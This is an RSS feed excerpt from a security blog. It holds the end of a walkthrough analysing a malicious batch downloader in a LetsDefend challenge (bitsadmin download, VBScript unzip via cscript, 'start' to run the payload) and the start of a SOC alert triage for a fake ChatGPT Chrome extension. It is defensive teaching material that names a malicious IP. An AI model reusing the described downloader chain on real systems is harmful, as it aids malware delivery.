height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we look at &lt;em&gt;line 5&lt;/em&gt; there is a call to &lt;em&gt;:UnZipFile&lt;/em&gt; and then in &lt;em&gt;line 10,&lt;/em&gt; we&amp;rsquo;ll see the parameters of the &lt;em&gt;subroutine&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Without dissecting each line, we can infer that this is correct &lt;em&gt;subroutine&lt;/em&gt; that extracts the contents of the &lt;em&gt;.zip&lt;/em&gt; file downloaded from the malicious IP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/c3f7892f38468b4fddad872b9214c95e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-which-command-attempts-to-start-an-executable-file-extracted-from-the-zipfile&#34;&gt;Question 7: Which command attempts to start an executable file extracted from the zip file?&#xA;&lt;/h3&gt;&lt;p&gt;Based on what we learned in the previous question, we know that after download, the batch script extracts the contents of the retrieved &lt;em&gt;.zip&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 7&lt;/strong&gt;, we need to identify the command which then runs the &lt;em&gt;executable (.exe)&lt;/em&gt; extracted from the archive. Let&amp;rsquo;s point our attention to &lt;em&gt;line 7&lt;/em&gt; with the &lt;em&gt;start&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;Referencing &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Microsoft Learn&lt;/em&gt;&lt;/a&gt; the &lt;em&gt;start&lt;/em&gt; command &amp;quot; # &amp;ldquo;starts a separate Command Prompt window to run a specified program or command.&amp;ldquo;In our example, the script uses &lt;em&gt;start&lt;/em&gt; to launch the malicious executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have confirmed what &lt;em&gt;start&lt;/em&gt; does, we can copy all of &lt;em&gt;line 7&lt;/em&gt; to answer &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/df261c1cb1c69dcdf2669e69a33d4efe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-which-scripting-language-is-used-to-extract-the-contents-of-the-zipfile&#34;&gt;Question 8: Which scripting language is used to extract the contents of the zip file?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we&amp;rsquo;re going to revisit the &lt;em&gt;UnZipFile subroutine&lt;/em&gt; that we looked at in &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are a couple of clues here that point us to the correct answer.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;em&gt;line 11&lt;/em&gt; we see the &lt;em&gt;vbs&lt;/em&gt; variable is setting a path ending with the &lt;em&gt;.vbs&lt;/em&gt; extension.&lt;/li&gt;&#xA;&lt;li&gt;The second clue is the command in &lt;em&gt;line 22, cscript.&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff920171%28v=ws.11%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Cscript&lt;/em&gt;&lt;/a&gt; is a command typically used to run &lt;em&gt;Windows Script&lt;/em&gt; files, like &lt;em&gt;.vbs&lt;/em&gt; files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;But what is a &lt;em&gt;.vbs&lt;/em&gt; file then? It is a file extension for &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/VBScript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VBScript&lt;/strong&gt;&lt;/a&gt;. &lt;em&gt;VBScript&lt;/em&gt; is an older scripting language that is used to automate tasks on &lt;em&gt;Windows&lt;/em&gt; systems.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5_hu_f5c7e545070479a0.png 800w, https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/6c4b9aade9c13b3c6ffd8467d50b84d0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the malicious script we are analyzing, it is used to extract the contents of the &lt;em&gt;.zip&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-batch-challenge-walkthrough/1ec7d1a1d8e0c1fb8a1ea555be280708_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;And there we have it! We&amp;rsquo;ve successfully analyzed the malicious batch file to and dug into the details of how it works. With the help of &lt;em&gt;Notepad++,&lt;/em&gt; we&amp;rsquo;ve identified how the script downloads a second-stage payload, detailed where it downloads from, how it&amp;rsquo;s extracted, and how it is executed.&lt;/p&gt;&#xA;&lt;p&gt;With our objectives completed, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/batch-downloader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Batch Downloader&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another educational (and fun) challenge! While this challenge is intended for beginners, it&amp;rsquo;s always extremely valuable to brush up on our research skills. Using &lt;em&gt;Microsoft Learn&lt;/em&gt; to add context helped me gain a much better understanding of how this script works and various areas that we could improve our defenses against these types of attacks.&lt;/p&gt;&#xA;&lt;p&gt;Again, if you found this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. We&amp;rsquo;re in this together! Thanks for the support!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Windows Commands):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Echo):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/echo&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Bitsadmin):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (Bitsadmin Transfer):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-transfer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (setlocal):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/ip-address/193.169.255.78/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/ip-address/193.169.255.78/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (start):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;start | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn (cscript):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff920171%28v=ws.11%29&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Cscript | Microsoft Learn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia (VBScript):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/VBScript&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;VBScript — Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/</link>
            <pubDate>Sun, 01 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/52ec360df262f3d6fa64068792afe792_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--soc202--fakegpt-malicious-chrome-extension-investigation-walkthrough&#34;&gt;LetsDefend — SOC202 — FakeGPT Malicious Chrome Extension Investigation Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-chrome-extension-inside-a-simulated-soc&#34;&gt;Investigating a Malicious Chrome Extension inside a simulated SOC&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;418&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/52ec360df262f3d6fa64068792afe792_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Ever wondered what it&amp;rsquo;s like to be a &lt;em&gt;Security Operations Center&lt;/em&gt; (&lt;em&gt;SOC&lt;/em&gt;) analyst or how to approach investigating a malicious &lt;em&gt;Google Chrome&lt;/em&gt; extension? If so, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;Welcome to my weekly walkthrough! This week, we&amp;rsquo;re taking a break from the usual challenge write-up format to tackle the &#xA;&lt;strong&gt;SOC202 — FakeGPT Malicious Chrome Extension&lt;/strong&gt; &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;alert&amp;quot;&#xA;from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why the quotes? Well, in addition to scenario-based challenges, &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; provides realistic alert scenarios in a simulated &lt;em&gt;SOC&lt;/em&gt; to provide a hands-on experience with a SOC analyst&amp;rsquo;s workflow!&lt;/p&gt;&#xA;&lt;p&gt;In this walkthrough, we&amp;rsquo;re going to go through the full triage of a simulated alert for a malicious &lt;em&gt;Chrome&lt;/em&gt; extension installed onto a victim&amp;rsquo;s device. The triage process will include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Taking ownership of the alert.&lt;/li&gt;&#xA;&lt;li&gt;Investigating &lt;em&gt;endpoint logs&lt;/em&gt; to understand if the file was detected and quarantined by the &lt;em&gt;antimalware&lt;/em&gt; solution.&lt;/li&gt;&#xA;&lt;li&gt;Leveraging external &lt;em&gt;threat intelligence&lt;/em&gt; for context about the suspicious extension.&lt;/li&gt;&#xA;&lt;li&gt;Hunting through &lt;em&gt;network logs&lt;/em&gt; to determine if the extension contacted the &lt;em&gt;command and control&lt;/em&gt; server.&lt;/li&gt;&#xA;&lt;li&gt;Documenting discovered &lt;em&gt;artifacts&lt;/em&gt;, creating case notes, and closing the alert.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve got a full plate here, so I hope you&amp;rsquo;re hungry to learn. Let&amp;rsquo;s get started — thanks for joining me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/monitoring&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/monitoring&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;alert-scenario&#34;&gt;Alert Scenario:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;697px&#34; data-flex-grow=&#34;290&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6c3acacc86a860e91893d9230564b6b5_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6c3acacc86a860e91893d9230564b6b5_MD5_hu_5fd3aeb6e6303e98.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/6c3acacc86a860e91893d9230564b6b5_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-1--were-on-thecase&#34;&gt;Task 1 — We&amp;rsquo;re on the case:&#xA;&lt;/h3&gt;&lt;p&gt;First thing&amp;rsquo;s first. Before we can dive into the investigation, we&amp;rsquo;ll need to assign the &lt;em&gt;SOC202 — FakeGPT Malicious Chrome Extension&lt;/em&gt; alert to ourselves and create a case where we manage our workflow, artifacts, and notes.&lt;/p&gt;&#xA;&lt;p&gt;From the _Monitoring &amp;gt; Main Channe_l tab, let&amp;rsquo;s take the alert from the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;queue&amp;quot;&#xA;and assign it to ourselves.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3891px&#34; data-flex-grow=&#34;1621&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/60a7e464b7bc5b6d2b14c3f8deeca439_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/60a7e464b7bc5b6d2b14c3f8deeca439_MD5_hu_c3e56538aa0b8c6f.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/60a7e464b7bc5b6d2b14c3f8deeca439_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;366px&#34; data-flex-grow=&#34;152&#34; height=&#34;323&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/692f676fab411ec6709fb3ef32f8de7a_MD5.png&#34; width=&#34;493&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, from the &lt;em&gt;Monitoring &amp;gt; Investigation Channel&lt;/em&gt; we&amp;rsquo;ll create the case:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/c7728ecfeb06a6c3a577e71ae643580c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;373px&#34; data-flex-grow=&#34;155&#34; height=&#34;326&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/810de35dcdb8a7134ff5bc3d242311a3_MD5.png&#34; width=&#34;507&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Press &lt;em&gt;Continue&lt;/em&gt; and we&amp;rsquo;ll be taken to the &lt;em&gt;Case Management&lt;/em&gt; tab where we&amp;rsquo;ll keep track of our case and initiate the incident response playbook for this event.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1136px&#34; data-flex-grow=&#34;473&#34; height=&#34;169&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/d94564f06cb59f5031d1819334f5c7a7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Pro Tip:&lt;/strong&gt; We&amp;rsquo;ll need to keep the &lt;em&gt;Case Management&lt;/em&gt; window open to manage the playbook steps and to answer questions, but you&amp;rsquo;ll also need access to the various tabs (&lt;em&gt;Log Management, Endpoint Security, etc&lt;/em&gt;.) on your dashboard available during the investigation. So, it&amp;rsquo;s best to open two tabs/windows in your browser so you can keep the case open on one and investigate with the other.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the case opened, let&amp;rsquo;s follow the playbook and start our investigation!&lt;/p&gt;&#xA;&lt;h3 id=&#34;task-2-check-if-the-malware-is-quarantinedcleaned&#34;&gt;Task 2: Check if the malware is quarantined/cleaned&#xA;&lt;/h3&gt;&lt;p&gt;Okay, once we click &amp;quot; # &amp;ldquo;Start Playbook!&amp;ldquo;we&amp;rsquo;re jumping right into the investigation and the first step is to the &lt;em&gt;Define Threat Indicator&lt;/em&gt; we&amp;rsquo;re investigating. While we have a couple of pre-made choices to select from, none of them are a good fit since the indicator that triggered the alert is a suspicious browser extension or potential malware, so we&amp;rsquo;ll select &lt;strong&gt;Other.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;577px&#34; data-flex-grow=&#34;240&#34; height=&#34;325&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/7bb30a6914b6b1a35ff556e2d03fc3b8_MD5.png&#34; width=&#34;782&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, following the playbook, the first step we&amp;rsquo;ll take is to determine if the malware has been quarantined/cleaned or if it&amp;rsquo;s currently active. Reviewing the triggered reason, &lt;em&gt;Suspicious extension added to the browser,&lt;/em&gt; the action was &lt;em&gt;allowed.&lt;/em&gt; Because of this action we might already assume the file wasn&amp;rsquo;t quarantined. It&amp;rsquo;s a good start, but it&amp;rsquo;s always the best practice to double-verify with the available logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;698px&#34; data-flex-grow=&#34;290&#34; height=&#34;275&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/aeb05bb31e96cc906515aee630e42c7d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s go a bit deeper and dive into data to understand what happened. To do this, we have a couple of logging sources at our disposal: &lt;em&gt;Log Management&lt;/em&gt; &amp;amp; &lt;em&gt;Endpoint Security.&lt;/em&gt; Since we&amp;rsquo;re searching for an &lt;em&gt;Antivirus&lt;/em&gt; action, let&amp;rsquo;s focus on the &lt;em&gt;Endpoint Security&lt;/em&gt; logs first since that is the place to find endpoint-level malware logging.&lt;/p&gt;&#xA;&lt;p&gt;But first, let&amp;rsquo;s refer back to the alert to recall the victim&amp;rsquo;s hostname and IP address:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;697px&#34; data-flex-grow=&#34;290&#34; height=&#34;413&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/0ce1061df4362f60a4324d3280b1afa7_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/0ce1061df4362f60a4324d3280b1afa7_MD5_hu_98cf4b12b4649b44.png 800w, https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/0ce1061df4362f60a4324d3280b1afa7_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hostname:&lt;/strong&gt; &lt;em&gt;Samuel&lt;/em&gt; &amp;amp; &lt;strong&gt;IP Address:&lt;/strong&gt; &lt;em&gt;172.16.17.173&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, we can begin searching the &lt;em&gt;Endpoint Security&lt;/em&gt; log for &lt;em&gt;Samuel&amp;rsquo;s&lt;/em&gt; workstation, correlating the events, and looking for any hits that the malicious extension was quarantined by the endpoint&amp;rsquo;s &lt;em&gt;antimalware&lt;/em&gt; solution.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s personal preference, but I&amp;rsquo;m going to change the results display drop-down from 10 to 20 to see all the log entries on one page. I also like to switch the &lt;em&gt;Event Time&lt;/em&gt; column to &lt;em&gt;descending (DESC)&lt;/em&gt; order — your choice though!&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s look at the &lt;em&gt;Process Logs.&lt;/em&gt; Here we&amp;rsquo;ll find an event for &lt;em&gt;Google Chrome (chrome.exe)&lt;/em&gt; where the suspicious extension (&lt;em&gt;.crx&lt;/em&gt;) was opened with the browser with a timestamp that matches the alert. This establishes a point in time so that we can search the logs of events that occurred after this timestamp.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;638px&#34; data-flex-grow=&#34;266&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/71e4ec6c95cba2cc8d9cf4e26a8e20ae_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-soc202-fakegpt-malicious-chrome-extension-investigation-walkthrough/71e4ec6c95cba2cc8d9cf4e26a8e20ae_MD5_hu_bf7827e06df6a01.png 800w, 